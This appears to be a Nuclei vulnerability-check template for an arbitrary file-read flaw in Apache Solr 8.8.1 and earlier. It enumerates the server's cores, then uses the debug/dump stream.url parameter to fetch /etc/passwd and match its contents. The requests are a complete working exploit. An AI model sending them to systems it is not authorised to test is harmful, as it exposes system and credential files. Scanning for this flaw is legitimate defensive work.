id: apache-solr-file-read

info:
  name: Apache Solr <= 8.8.1 Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  tags: apache,solr,lfi
  reference: |
      - https://twitter.com/Al1ex4/status/1382981479727128580
      - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
      - https://twitter.com/sec715/status/1373472323538362371

requests:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Connection: close

      - |
        GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd&param=ContentStream HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Connection: close

    extractors:
      - type: regex
        regex:
          - '"status"\:\{"(.*?)"\:\{"name"'
        name: core
        group: 1
        internal: true

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'regex("root:.*:0:0:", body_2)'
        condition: and